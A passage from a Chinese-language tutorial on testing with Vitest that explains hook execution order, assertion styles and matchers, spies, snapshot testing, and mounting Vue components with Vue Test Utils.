4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 --- 進入測試程式碼本身的 Context --- 進入父層情境的 Context beforeAll - 父層情境 --- 進入子層情境 A 的 Context beforeAll - 子層情境 A beforeEach - 父層情境 beforeEach - 子層情境 A 子層情境 A 案例 1 // 執行 情境 A 案例 1 的時間點 afterEach - 子層情境 A afterEach - 父層情境 beforeEach - 父層情境 beforeEach - 子層情境 A 子層情境 A 案例 2 // 執行 情境 A 案例 2 的時間點 afterEach - 子層情境 A afterEach - 父層情境 afterAll - 子層情境 A --- 離開子層情境 A 的 Context --- 進入子層情境 B 的 Context beforeAll - 子層情境 B beforeEach - 父層情境 beforeEach - 子層情境 B 子層情境 B 案例 1 // 執行 情境 B 案例 1 的時間點 afterEach - 子層情境 B afterEach - 父層情境 beforeEach - 父層情境 beforeEach - 子層情境 B 子層情境 B 案例 2 // 執行 情境 B 案例 2 的時間點 afterEach - 子層情境 B afterEach - 父層情境 afterAll - 子層情境 B --- 離開子層情境 B 的 Context afterAll - 父層情境 --- 離開父層情境的 Context --- 離開測試程式碼本身的 Context 因此我們在使用這類 API 時要注意當下 context 所包含的範圍。\n避免誤區：在 expect 後做清掃處理 除了上面的用法，有時候你可能會認為既然要清掃，那我何不在斷言後處理就好呢：\n1 2 3 4 5 6 7 describe(\u0026#39;\u0026#39;, () =\u0026gt; { it(\u0026#39;\u0026#39;, () =\u0026gt; { expect().toBe() // 在這裡做清除 resetTestingEnv() }) }) 這麼做當你在測試案例都是通過的情況下都沒有問題，但是一但某個測試案例發生了錯誤，由於測試案例就會在斷言時拋出 AssertionError 後停止，因此很有可能因為一個測試案例壞了導致接下來所有測試都受到影響：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 describe(\u0026#39;\u0026#39;, () =\u0026gt; { it(\u0026#39;\u0026#39;, () =\u0026gt; { expect().toBe() // AssertionError，這個測試案例就停在這了 resetTestingEnv() }) it(\u0026#39;\u0026#39;, () =\u0026gt; { // 在沒有經過 `resetTestingEnv()` 下進行測試 }) it(\u0026#39;\u0026#39;, () =\u0026gt; { // 在沒有經過 `resetTestingEnv()` 下進行測試 }) it(\u0026#39;\u0026#39;, () =\u0026gt; { // 在沒有經過 `resetTestingEnv()` 下進行測試 }) it(\u0026#39;\u0026#39;, () =\u0026gt; { // 在沒有經過 `resetTestingEnv()` 下進行測試 }) }) 因此較佳的作法還是使用 Setup \u0026amp; Teardown API 來處理會比較好：\n1 2 3 4 5 6 7 8 9 10 11 12 13 describe(\u0026#39;\u0026#39;, () =\u0026gt; { beforeEach(\u0026#39;\u0026#39;, () =\u0026gt; { setupTestingEnv() }) afterEach(\u0026#39;\u0026#39;, () =\u0026gt; { resetTestingEnv() }) it(\u0026#39;\u0026#39;, () =\u0026gt; {}) it(\u0026#39;\u0026#39;, () =\u0026gt; {}) it(\u0026#39;\u0026#39;, () =\u0026gt; {}) it(\u0026#39;\u0026#39;, () =\u0026gt; {}) it(\u0026#39;\u0026#39;, () =\u0026gt; {}) }) 避免過度使用 Setup \u0026amp; Teardown API 一名對於測試領域頗有研究的 Kent C. Dodds 在 twitter 上發表：\n許多人一看了紛紛表示中槍，心想這不就是我在寫的東西嗎？因此發文一出不少人就好奇那麼到底為什麼上方的用法會比較好呢？且讓我們從抽象光譜介紹起。\n抽象光譜(The Spectrum of Abstraction) Kent C. Dodds 提出在抽象光譜中主要分成了三種概念：\nANA：Absolutely No Abstraction AHA：Avoid Hasty Abstraction DRY：Don\u0026rsquo;t Repeat Yourself 而後並將此概念應用在 Testing 身上並分別解說了三種抽象型態下的測試的優劣分析。\n其中我們往往一開始學習可能因為對語法不熟稔，因此可能會寫出 ANA Testing 形式：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 describe(\u0026#39;\u0026#39;, () =\u0026gt; { it(\u0026#39;\u0026#39; , () =\u0026gt; { // 準備 // 操作 // 斷言 }) it(\u0026#39;\u0026#39; , () =\u0026gt; { // 準備：重複的準備類似的內容 // 操作 // 斷言 }) it(\u0026#39;\u0026#39; , () =\u0026gt; { // 準備：重複的準備類似的內容 // 操作 // 斷言 }) }) 而隨著測試經驗越來越熟稔之後，我們可能會想盡各種方法來「節省」撰寫測試上的時間，甚至參考 DRY 心法寫出這樣的測試：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 describe(\u0026#39;\u0026#39;, () =\u0026gt; { // 統一的事前準備 const testEnv = new TestEnv() beforeEach(() =\u0026gt; { testEnv.init() }) it(\u0026#39;\u0026#39; , () =\u0026gt; { // 直接操作事先準備好的內容 // 斷言 }) it(\u0026#39;\u0026#39; , () =\u0026gt; { // 直接操作事先準備好的內容 // 斷言 }) }) 而這樣的下場將會在複雜的巢狀測試情境下越來越難以閱讀與調整：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 describe(\u0026#39;\u0026#39;, () =\u0026gt; { const testEnv = new TestEnv() beforeEach(() =\u0026gt; { testEnv.init() }) describe(\u0026#39;\u0026#39;, () =\u0026gt; { const testEnv = new TestEnv() beforeEach(() =\u0026gt; { testEnv.init() }) // ... }) describe(\u0026#39;\u0026#39;, () =\u0026gt; { const testEnv = new TestEnv() beforeEach(() =\u0026gt; { testEnv.init() }) // ... 等等 這裡的初始準備有什麼 ？？？ }) // ... }) 而除了巢狀情境本身是個議題之外，Kent C. Dodds 認為我們應該兼容的方式去看待他，也就是說他不排斥我們去做抽象這件事情，但是首先要做的應該是先保持單純，直到我們看到足夠多共同的案例來分析能抽取出的部分，如果不夠多那甚至原先 inline 的測試案例版本也比過多抽象的版本要好得多。\n避免過度巢狀情境\n最後，共用的部分除非真的有必要透過 setup \u0026amp; teardown 實作處理，否則共用的部分大多也可以透過諸如工廠模式(factory pattern)的形式產生。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 /* 擷取自我某個專案內的元件測試 */ const factory = ( options = { createSpy: vi.fn, }, ) =\u0026gt; { const wrapper = mount(component, { global: { plugins: [createTestingPinia(options)], }, }) const store = useMainStore() return { wrapper, store } } 所以往後若有使用到這類 API 時不仿先思考一下我們真的需要嗎，還是有更加優雅的方式能夠解決重複的問題呢？\n斷言語法與 Matchers 斷言(Assertion)在程式設計領域中主要指的是「針對一個結果指出為真(true)或假(false)」的邏輯判斷式。\n而在測試中斷言主要指的部分如先前提到的 3A 模式中的(Assert)步驟：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 describe(\u0026#39;\u0026#39;, () =\u0026gt; { it(\u0026#39;\u0026#39;, () =\u0026gt; { // 準備：Arrange const wrapper = mount(component, { props: { content: \u0026#39;Hello, Unit-test!\u0026#39; } }) // 操作：Act wrapper.find(\u0026#39;[data-test=\u0026#34;button\u0026#34;]\u0026#39;).click() // 斷言：Assert expect(wrapper.find(\u0026#39;[data-test=\u0026#34;content\u0026#34;]\u0026#39;)).toBe(\u0026#39;Hello, Unit-test!\u0026#39;) }) }) 其中斷言(Assert)階段中在語法的部分則會使用到所謂的「Matchers」，以上方程式碼為例的話就會是 expect() 後方的 toBe() 這個語法，而不同的「Matchers」能比對的東西也不太一樣，瞭解什麼時候該選什麼 Matchers 基本上寫斷言的時候就能信手捻來。\n斷言語法 依據不同工具或框架所提供的斷言語法(Assertion)，對於 Matchers 來說就會有不同的寫法，所以首先我們要先來簡單認識一下不同工具之間的斷言語法風格上的差異，挑選能接受的斷言風格後再來看該風格的 Matcher 用法，而風格的部分以下將依序介紹：\nChai 斷言庫 Jest 框架中的斷言語法 Vitest 中所能用的部分 Chai Assertion Chai.js 本身是一個專注在提供斷言語法的工具庫，它提供了三種寫法：\nAssert(TDD style) 1 2 3 4 5 it(\u0026#39;Chai/Assert\u0026#39;, () =\u0026gt; { const x = \u0026#39;Orange tabby cat\u0026#39; const y = \u0026#39;fat\u0026#39; assert(x !== y, \u0026#39;Orange tabby cat is not fat\u0026#39;) }) Expect(BDD style) 1 2 3 it(\u0026#39;Chai/Expect\u0026#39;, () =\u0026gt; { expect([1, 2]).to.be.an(\u0026#39;array\u0026#39;).that.does.not.include(3) }) Should(BDD style)：透過擴充物件 prototype 給予 should 屬性的方式使我們可以直接鏈式加入 Matchers 在定義好的變數後。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // 選擇一：在斷言前需要呼叫 `chai.should` 方法， import chai from \u0026#39;chai\u0026#39; chai.should() // 選擇二：直接引入下方 import \u0026#39;chai/register-should\u0026#39; // 底下的測試案例就能直接鏈式加上 Matchers it(\u0026#39;Chai/Assert\u0026#39;, () =\u0026gt; { const foo = \u0026#39;bar\u0026#39; const beverages = { tea: [\u0026#39;chai\u0026#39;, \u0026#39;matcha\u0026#39;, \u0026#39;oolong\u0026#39;] } foo.should.be.a(\u0026#39;string\u0026#39;) foo.should.equal(\u0026#39;bar\u0026#39;) foo.should.have.lengthOf(3) beverages.should.have.property(\u0026#39;tea\u0026#39;).with.lengthOf(3) }) Jest Assertion 以 Jest 測試框架中所提供的斷言方法則只有：\nExpect(BDD style)： 1 2 3 it(\u0026#39;expect/ BDD style\u0026#39;, () =\u0026gt; { expect(1).toBe(1) }) 需特別注意的是 Jest 中的 expect 與 Chai 的 expect 所提供的 Matchers 是不一樣的。\nVitest 以 Vitest 測試工具來說，斷言(Assertion)語法的部分他內建了 Chai 斷言庫與兼容了 Jest 中的斷言語法，因此主要就是在以上介紹的四種寫法中選擇一種使用！\n而接下來主要著重介紹 Jest Assertion 中的 expect 語法的 Matchers 要如何使用！\nVitest(Jest expect Matchers) 要學習這類 Matchers 除了把 API doc 翻一輪之外，最快的方式之一就是針對不同的測試結果目標類型去歸納，而依照經驗常見種類有：\n常用：toBe, not 純值比對(Primitive)類型：String, Number, Boolean\u0026hellip;, etc. 陣列比對與檢查 物件比對與檢查 監聽函式 快照 Error 由於 Matchers 繁多，所以從常用跟概念容易搞混的幾個開始先介紹起：\n常用 toBe：對資料類型為純值(Primitive Value)來說就是比對值相等 1 2 expect(1).toBe(1) // passed expect(\u0026#39;1\u0026#39;).toBe(1) // failed 對非純值(Non-Primitive Value)來說就是比記憶體位置(reference)是否相等\n1 2 3 4 5 6 7 8 9 const obj = {} const obj2 = obj expect(obj).toBe(obj2) // passed expect({}).toBe({}) // failed // `not`：用於反轉斷言的邏輯 expect(1).toBe(1) // passed expect(1).not.toBe(1) // failed expect(1).not.toBe(2) // passed 純值資料類型比對 toBeCloseTo：處理浮點數運算時 1 2 expect(0.1 + 0.2).toBe(0.3) // failed 符點溢出，結果應該會為 0.30000000000000004 expect(0.1 + 0.2).toBeCloseTo(0.3) // passed toBeGreaterThan、toBeGreaterThanOrEqual、toBeLessThan、toBeLessThanOrEqual 1 2 3 4 expect(5).toBeGreaterThan(1) // passed expect(5).toBeGreaterThanOrEqual(5) // passed expect(6).toBeLessThan(7) // passed expect(6).toBeLessThanOrEqual(6) // passed toBeDefined、toBeUndefined 1 2 3 4 var a = \u0026#39;\u0026#39; var b expect(a).toBeDefined() // passed expect(b).toBeUndefined() // passed toBeTruthy、toBeFalsy 1 2 expect(1).toBeTruthy() // passed expect(0).toBeFalsy() // passed toBeNull、toBeNaN 1 expect(null).toBeNull() // passed toMatch：字串或正則比對 1 expect(\u0026#39;0912345678\u0026#39;).toMatch(/^09[0-9]{8}$/) // passed 陣列比對與檢查 toContain：陣列是否含有目標值 1 2 expect([\u0026#39;1\u0026#39;, \u0026#39;2\u0026#39;]).toContain(\u0026#39;1\u0026#39;) // passed expect([\u0026#39;1\u0026#39;, \u0026#39;2\u0026#39;]).toContain(\u0026#39;4\u0026#39;) // failed toContainEqual： 陣列是否含有該值(類型為純值時檢驗是否相等，類型為物件時檢驗結構是否全等) 1 2 3 4 5 6 // passed expect([\u0026#39;1\u0026#39;, \u0026#39;2\u0026#39;]).toContainEqual(\u0026#39;1\u0026#39;) // passed expect([{ val: \u0026#39;1\u0026#39; }, { val: \u0026#39;2\u0026#39; }]).toContainEqual({ val: \u0026#39;1\u0026#39; }) // failed expect([{ val: \u0026#39;1\u0026#39;, something: \u0026#39;other\u0026#39; }]).toContainEqual({ val: \u0026#39;1\u0026#39; }) toHaveLength：確認其屬性的長度是否相等 1 2 3 expect(\u0026#39;12\u0026#39;).toHaveLength(2) // passed expect([1, 2]).toHaveLength(2) // passed expect({ length: 2 }).toHaveLength(2) // passed 物件比對與檢查 toEqual：比對物件結構是否相同，而非比對參照來源(reference)，而結構中若值為 undefined 會忽略 1 2 3 const A = { num: 100 } const B = { num: 100, secret: undefined } expect(A).toEqual(B) // passed toStrictEqual：與 toEqual 類似，但 undefined 不會被忽略 1 2 3 4 5 const A = { num: 100 } const B = { num: 100 } const C = { num: 100, secret: undefined } expect(A).toStrictEqual(B) // passed expect(A).toStrictEqual(C) // failed 甚至 Class 所創造的物件與物件實字(Object Literals)相比也視為不同。\n1 2 3 4 5 6 7 class MockClass { constructor(num) { this.num = num } } expect({num: 1}).toStrictEqual({num: 1}) // passed expect(new MockClass(1)).toStrictEqual({num: 1}) // failed toHaveProperty：檢查物件含有屬性與其屬性值 1 2 3 4 5 const obj = { num: 100 } expect(obj).toHaveProperty(\u0026#39;num\u0026#39;) // passed expect(obj).toHaveProperty(\u0026#39;num\u0026#39;, 100) // passed expect(obj).toHaveProperty(\u0026#39;num\u0026#39;, 200) // failed toMatchObject： 檢查物件的子層 1 2 3 4 5 6 const obj = { nested: { num: 200 }, num: 100 } expect(obj).toMatchObject({ num: 100 }) // passed expect(obj).toMatchObject({ num: 200 }) // failed expect(obj).toMatchObject({ nested: { num: 100 } }) // failed expect(obj).toMatchObject({ nested: { num: 200 } }) // passed 繼續講解下列幾個比較特別的 Matcher\n監聽函式 在測試的過程中，有時候我們不僅只是斷言受測物(SUT, System Under Test)的狀態，有時候可能會對受測目標的「依賴物」(DOC, Depended-on Component)狀態有興趣，而這時我們就無法單純以 Matchers 來斷言，因為我們需要監聽依賴物前後的變化。\n而在程式測試領域中，測試替身(test double)主要就是負責處理這一類非受測物本身所做的事情，並且在需要時還能幫我們紀錄必要的資訊。\n假若我們今天測試案例受測物本身會去呼叫到的依賴目標是個「函式」時，這時我們可以透過 Vitest 所提供的 vi.fn() 來模仿(spy)函式。\nvi.fn() 本身會回傳一個實體(CallableMockInstance)，在這個實體中會記錄著有關測試函式時會需要的資料與方法：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 console.log(vi.fn()) /* called: false, callCount: 0, results: [], calls: [], impl: [Function (anonymous)], reset: [Function: i], nextError: [Function (anonymous)], nextResult: [Function (anonymous)], restore: [Function: w], ... */ 因此將受測的目標函式放入 vi.fn 中，後續只要測試過程中如果測試目標去調用了已被 Spy 過的函式時，CallableMockInstance 就會幫我們紀錄相關的資訊，接著我們就可以使用斷言語法相關的 Matcher 去比對我們預期的結果，比方說：\ntoHaveBeenCalled：斷言函式有被呼叫過 1 2 3 4 5 const sayHi = (something) =\u0026gt; something const spyOnSayHi = vi.fn(sayHi) spyOnSayHi() expect(spyOnSayHi).toHaveBeenCalled() toHaveBeenCalledTimes：斷言函式被呼叫過幾次 1 2 3 4 5 6 7 8 const sayHi = (something) =\u0026gt; something const spyOnSayHi = vi.fn(sayHi) spyOnSayHi() spyOnSayHi() spyOnSayHi() expect(spyOnSayHi).toHaveBeenCalledTimes(3) toHaveBeenCalledWith：斷言函式被呼叫時所帶的參數 1 2 3 4 5 6 const sayHi = (something) =\u0026gt; something const spyOnSayHi = vi.fn(sayHi) spyOnSayHi(\u0026#39;Hello, Unit-Test!\u0026#39;) expect(spyOnSayHi).toHaveBeenCalledWith(\u0026#39;Hello, Unit-Test!\u0026#39;) toHaveReturned：斷言函式呼叫後應該至少要返回值一次 1 2 3 4 5 6 const sayHi = (something) =\u0026gt; something + \u0026#39; Hello, Spy!\u0026#39; const spyOnSayHi = vi.fn((val) =\u0026gt; sayHi(val)) spyOnSayHi(\u0026#39;Hello, Unit-Test!\u0026#39;) expect(spyOnSayHi).toHaveReturned() toHaveReturnedTimes：斷言函式經過操作後應該要返回值幾次 1 2 3 4 5 6 7 const sayHi = (something) =\u0026gt; something const spyOnSayHi = vi.fn((val) =\u0026gt; sayHi(val)) spyOnSayHi(\u0026#39;Nice to meet you!\u0026#39;) spyOnSayHi(\u0026#39;See you again!\u0026#39;) expect(spyOnSayHi).toHaveReturnedTimes(2) toHaveLastReturnedWith：斷言函式經過操作後最後應該要返回的值 1 2 3 4 5 6 7 const sayHi = (something) =\u0026gt; something const spyOnSayHi = vi.fn((val) =\u0026gt; sayHi(val)) spyOnSayHi(\u0026#39;Nice to meet you!\u0026#39;) spyOnSayHi(\u0026#39;See you again!\u0026#39;) expect(spyOnSayHi).toHaveLastReturnedWith(\u0026#39;See you again!\u0026#39;) toHaveNthReturnedWith：斷言函式經過操作後第 N 次應該要返回的值 1 2 3 4 5 6 7 const sayHi = (something) =\u0026gt; something const spyOnSayHi = vi.fn((val) =\u0026gt; sayHi(val)) spyOnSayHi(\u0026#39;Nice to meet you!\u0026#39;) spyOnSayHi(\u0026#39;See you again!\u0026#39;) expect(spyOnSayHi).toHaveNthReturnedWith(1, \u0026#39;Nice to meet you!\u0026#39;) toHaveReturnedWith：斷言函式呼叫後返回的值 1 2 3 4 5 6 const sayHi = (something) =\u0026gt; something + \u0026#39; Hello, Spy!\u0026#39; const spyOnSayHi = vi.fn((val) =\u0026gt; sayHi(val)) spyOnSayHi(\u0026#39;Hello, Unit-Test!\u0026#39;) expect(spyOnSayHi).toHaveReturnedWith(\u0026#39;Hello, Unit-Test! Hello, Spy!\u0026#39;) 而測試替身(test double)除了像是 vi.fn() 這類間諜類型(Spy)之外，還有許多不同的測試替身，它們在測試中都有各自的用途來協助我們更好的測試。\n快照測試(Snapshot Testing)與快照 matchers Jest Snapshot 在 Jest 的 Snapshot Testing 說明文件的定義中主要指的是用來防止 UI 出現尚未預期的變化：\n1 2 3 \u0026lt;template\u0026gt; \u0026lt;a data-test=\u0026#34;link\u0026#34; href=\u0026#34;http://ithelp.ithome.com.tw\u0026#34;\u0026gt; Ithelp \u0026lt;/a\u0026gt; \u0026lt;/template\u0026gt; 1 2 3 4 5 import { mount } from \u0026#39;@vue/test-utils\u0026#39; it(\u0026#39;渲染連結\u0026#39;, () =\u0026gt; { const wrapper = mount(component) expect(wrapper.find([data-test=\u0026#34;link\u0026#34;])).toMatchSnapshot(); }); 然而這邊的變化，並非你所想像的把視覺畫面給照相下來比對像素或比例的那種視覺回歸測試(Visual Regression Testing)，而是藉由將目標元件透過渲染(Render)元件產生了一個 DOM 結構的文字，並在測試程式檔路徑底下的 __snapshots__ 資料夾生成一個 .snap 檔案來做紀錄：\n1 2 3 4 5 6 7 8 exports[`渲染連結`] = ` \u0026lt;a data-test=\u0026#34;link\u0026#34; href=\u0026#34;http://ithelp.ithome.com.tw\u0026#34; \u0026gt; Ithelp \u0026lt;/a\u0026gt; `; 截至 Jest Snapshot 頁面中的程式碼\n在第二次執行測試的時候，就會再次做一次同樣的流程，而這次所產生的結果會與先前的 .snap 紀錄做比對。\n假設比對上有落差就會拋出錯誤：\n1 2 3 4 5 6 7 8 - Snapshot - 1 + Received + 1 \u0026lt;a - href=\u0026#34;http://ithelp.ithome.com.tw\u0026#34; + href=\u0026#34;https://ithelp.ithome.com.tw\u0026#34; \u0026gt; Ithelp \u0026lt;/a\u0026gt; 藉由這個比對機制從而實現「防止 UI 出現尚未預期的變化」的功能。\nVitest Snapshot 而前面有提到 Vitest 本身兼容了 Jest 的斷言(assertion)語法，所以快照(Snapshot)的 matcher 自然也是不能放過。\n在 Vitest 中主要兼容的 matcher 部分有：\ntoMatchSnapshot toMatchInlineSnapshot 基本上概念與 Jest Snapshot 相似，都是在做結構快照這件事情，然而 Vitest 文件部分則是沒有特地強調 UI 的部分，而是關注在值(value)的比對。\n因此我們單純放入一個陣列物件\n1 2 3 4 5 6 7 8 9 10 11 12 13 it(\u0026#39;cat snapshot\u0026#39;, () =\u0026gt; { const target = [ { name: \u0026#39;Orange\u0026#39;, age: 4, }, { name: \u0026#39;Blank\u0026#39;, age: 6, }, ] expect(target).toMatchSnapshot() }) .snap 的結果：\n1 2 3 4 5 6 7 8 9 10 11 12 exports[`component \u0026gt; cat snapshot 1`] = ` [ { \u0026#34;age\u0026#34;: 4, \u0026#34;name\u0026#34;: \u0026#34;Orange\u0026#34;, }, { \u0026#34;age\u0026#34;: 6, \u0026#34;name\u0026#34;: \u0026#34;Blank\u0026#34;, }, ] `; 甚至也可以引入 JSON 檔案來做快照：\n1 2 3 4 5 import Area from \u0026#39;./area.json\u0026#39; it(\u0026#39;static json snapshot\u0026#39;, () =\u0026gt; { expect(Area).toMatchSnapshot() }) 當然元件快照也是能做的：\n1 2 3 4 5 6 7 import { mount } from \u0026#39;@vue/test-utils\u0026#39; it(\u0026#39;snapshot\u0026#39;, () =\u0026gt; { const wrapper = mount(component) const target = wrapper.find(\u0026#39;[data-test=\u0026#34;content\u0026#34;]\u0026#39;) expect(target).toMatchSnapshot() }) 而以上快照部分如果你覺得要生成一個檔案來管理有點囉唆，那麼你可以透過 toMatchInlineSnapshot 來處理這類的需求，其差別在於生成的位置會是在 toMatchInlineSnapshot() 函式本身裡面：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 it(\u0026#39;cat snapshot\u0026#39;, () =\u0026gt; { const target = [ { name: \u0026#39;Orange\u0026#39;, age: 4, }, { name: \u0026#39;Blank\u0026#39;, age: 6, }, ] // 原先 toMatchInlineSnapshot 內沒有任何東西 // 在執行測試後就會將快照內容自動生成在 toMatchInlineSnapshot 裡 expect(target).toMatchInlineSnapshot(` [ { \u0026#34;age\u0026#34;: 4, \u0026#34;name\u0026#34;: \u0026#34;Orange\u0026#34;, }, { \u0026#34;age\u0026#34;: 6, \u0026#34;name\u0026#34;: \u0026#34;Blank\u0026#34;, }, ] `) }) 最後，如果遇到變更的部分是我們所預期的時候，此時就需要更新快照的部分，可以在執行測試的 watch 模式時按下 u 鍵，就將新的快照保存起來，或是透過新增 npm scripts 指令來執行命令：\n1 2 3 4 5 { \u0026#34;scripts\u0026#34;: { \u0026#34;test:update\u0026#34;: \u0026#34;vitest -u\u0026#34;, }, } Error 最後介紹到的則是錯誤類型的 Matcher：\ntoThrowError toThrowErrorMatchingSnapshot toThrowErrorMatchingInlineSnapshot 先前我們有提到測試案例預想的三個路徑(Happy path、sad Path、Bad Path)，Bad Path 從產品角度上來說 End-User 使用上的錯誤，應該考慮從產品使用角度上去思考要怎麼協助他們去使用，所以不應該為了拋出錯誤而拋出。\n但假設今天拋出錯誤的情境是較為合理的部分，比方是針對開發人員在開發時期誤用導致的錯誤⋯⋯等等情況，這時我們就可以透過這一類 Matcher 來處理。\n而使用上要比較小心的是，受測目標若會拋出錯誤則要透過 wrap function 的形式來處理，否則拋出的錯誤會造成測試案例的斷言錯誤：\n1 2 3 4 5 6 7 8 9 10 it(\u0026#39;\u0026#39;, ()=\u0026gt;{ const food = (name) =\u0026gt; { // ... if(name === \u0026#39;小黃瓜\u0026#39;){ throw new Error(\u0026#39;我不吃小黃瓜\u0026#39;) } } expect(food(\u0026#39;小黃瓜\u0026#39;)).toThrowError(\u0026#39;我不吃小黃瓜\u0026#39;) // 若這樣寫的話裡頭的 Error 會導致測試案例失敗 expect(() =\u0026gt; food(\u0026#39;小黃瓜\u0026#39;)).toThrowError(\u0026#39;我不吃小黃瓜\u0026#39;) // 需要透過這種方式才能正確斷言 }) 元件測試 Vue Test Utils 與元件測試 接著，若我們想進一步在專案中測試 Vue 元件的話，我們除了基於前面的概念與語法之外，還得依靠能夠幫助能夠解析 Vue 元件並與其模擬互動的工具：\nVue Test Utils Cypress Vue Testing Library 而本篇將著重在介紹要怎麼透過 Vue Test Utils 來進行與 Vue 元件有關的「元件測試」，因此本文要來介紹一下 Vue Test Utils 與元件測試是在做什麼，又這又跟單元測試有什麼關係呢。\nVue-Test-Utils 首先區辨一下他與我們目前用到的測試工具的各自用處，才能更瞭解接下學的內容是由哪個工具負責的，將來有必要查閱資料時就能更清楚的區別他們。\nVue Test Utils 主要是作為提供測試 Vue 元件的相關工具集，讓我們能更輕易的模擬操作元件來進行測試，但本身並沒有運行測試環境(test runner)的功能，因此我們會需要藉由 Vitest 來作為測試環境以及相關的測試情境案例與斷言 Matcher；除此之外我們還需要用來在 Node 環境中模擬瀏覽器環境的 jsdom 來協助處理有關 DOM 上的操作，如此一來才能順利地使用 Vue Test Utils。\n而版本的部分要特別注意到，由於 Vue Test Utils 為了相容 Vue 不同版本之間的 API 因此我們要安裝對應的版本未來才不會出錯：\nVue 2：安裝 Vue Test Utils 1 Vue 3：安裝 Vue Test Utils 2 確認版本沒問題後，模擬元件的部分交給 Vue Test Utils 基本上就沒問題了，但關於「元件測試」目標主要是要測試什麼東西呢？\n元件測試的目標 測試本質主要是在預期結果與實際是否相等，而在元件測試中作為受測物的元件，其本身主要是負責 UI 上的一切內容，因此我們測試目標在著重於它的「畫面」與「行為」上是否如我們所預期。\n因此，在測試案例的操作過程中(也就是 3A 中的 Action 階段)，我們主要是藉由操作對元件介面中的：\ndata props slot provide directive Event(瀏覽器中的互動行為) API response(模擬回應) 來判斷下列是否如我們所預期：\nDOM 渲染結果 emit 行為 好的元件測試 當然，做到上面的事項基本上已經可以算是個元件測試了，若我們想讓元件測試寫得更好，除了先前在單元測試提過的一些概念之外，還有一些值得注意的事項：\n首先，在撰寫元件測試時的角度，我們並沒有要當個全能全知的神，而是作為「使用者的角度」關注元件介面上來預期結果，所以在測試的過程中我們要「避免又寫了一次實作」。\n另外，如果內部邏輯過於複雜時，我們則應該先抽取(extract)其邏輯，透過 composables 的寫法來引入，如此一來我們就能「專注於在元件本身的行為上」，另外也能「針對 composable 的邏輯單獨做測試」。\n最後，若元件中有使用到 API 的部分，同樣的我們應該把它當作成是他提供給元件去使用，而元件主要是「接收回應」後就能自行處理後續的內容了，所以在測試上我們應該專注在 API 提供了什麼給元件，透過模擬資料的部分來達成先前提過的 FIRST 原則中的 Fast，最後斷言元件最終的行為是否如預期即可。\n現在我們知道 Vue Test Utils 在做什麼了，也知道「元件測試」在做什麼了，但這跟單元測試又有什麼關係呢？\n元件測試與單元測試的關係 在官方文件中測試章節有提到，元件測試(component testing)在顆粒度上其實是高於單元測試(unit testing)的，甚至可以被視為是整合測試(integration testing)的一種形式。\n而坊間有不少文章習慣以單元測試來統稱這一類測試，最主要原因是單元測試的定義為「軟體設計」中最小單位的程式或行為，在 Vue 專案中，若以 Vue SFC 類型檔案(.vue)來看其實測試元件也算是最小單位沒錯。\n所以從意義上來劃分單元測試與元件測試，某方面來說很容易出現歧異(甚至單元測試本身就已經有分為獨立型與社交型寫法了)。\n然而為了接下來在本系列文中方便區分指的測試對象是哪部分，我將名稱含義分為：\n元件測試：針對 Vue 元件所進行的測試 單元測試：針對元件引入函式、類別等 utils、helper 與 composable 的測試。 工具本身：Pinia 測試、Vue Router 測試。 元件測試：容器(Wrapper) mount 當我們需要在測試案例中引入元件時，我們可以透過 Vue Test Utils 提供的方法 mount 來包裹 Vue 元件。而 mount 所返回的內容除了 Vue 實體之外，還包含了一些方法（Wrapper methods）可以讓我們操作元件：\n1 2 3 4 5 6 7 8 9 10 11 12 import component from \u0026#39;@/component/BaseButton.vue\u0026#39; it(\u0026#39;should emit clicked event after clicking button\u0026#39;, () =\u0026gt; { // Arrange const wrapper = mount(component) // Act wrapper.trigger(\u0026#39;click\u0026#39;) // Assert export(wrapper.emitted()).toHaveProperty(\u0026#39;clicked\u0026#39;) }) 假若我們希望在渲染元件的時候同時帶著預設參數與狀態時（如 props、slots\u0026hellip;等），就能夠透過 mount 方法的第二個參數傳入設定：\n1 2 3 4 5 6 7 const options = { props: { content: \u0026#39;Hello, Props!\u0026#39; } } const wrapper = mounted(component, options) expect(wrapper.text()).toBe(\u0026#39;Hello, Props!\u0026#39;) 而關於方法（Wrapper methods）與選項（Wrapper options）的部分，會根據元件使用 Options API / Composition API / setup script 語法糖 而有不同的用法與限制，因此使用方法與差異的部分將在後續測試各種元件時陸續會提到。\nshallowMount 在正常的專案開發下，元件時常會嵌入了另一個元件：\nRootComponent.vue 1 \u0026lt;ParentComponent\u0026gt;\u0026lt;/ParentComponent\u0026gt; ParentComponent.vue 1 2 3 \u0026lt;ChildComponent\u0026gt;\u0026lt;/ChildComponent\u0026gt; \u0026lt;ChildComponent\u0026gt;\u0026lt;/ChildComponent\u0026gt; \u0026lt;ChildComponent\u0026gt;\u0026lt;/ChildComponent\u0026gt; ChildComponent.vue 1 \u0026lt;p\u0026gt;baby\u0026lt;/p\u0026gt; RootComponent 的元件測試：\n1 2 3 4 5 6 7 8 9 import component from \u0026#39;./RootComponent.vue\u0026#39; it(\u0026#39;should render corrent content\u0026#39;, async () =\u0026gt; { const wrapper = mount(component) expect(wrapper.html()).toBe(` \u0026lt;p\u0026gt;baby\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;baby\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;baby\u0026lt;/p\u0026gt; `) }) 但如此一來若我們在測試 RootComponent 元件的時候，就有可能因為底下的 ChildComponent 元件更改了內容導致 RootComponent 測試案例也跟著失敗：\n1 \u0026lt;p\u0026gt;baby\u0026lt;/p\u0026gt; 若「有意」想要避免這種情況發生，此時就可以將 mount 替換掉，改使用 shallowMount 來作為容器使用：\n1 2 3 4 5 import component from \u0026#39;./RootComponent.vue\u0026#39; it(\u0026#39;should render corrent content\u0026#39;, async () =\u0026gt; { const wrapper = shallowMount(component) // ... }) shallowMount 與 mount 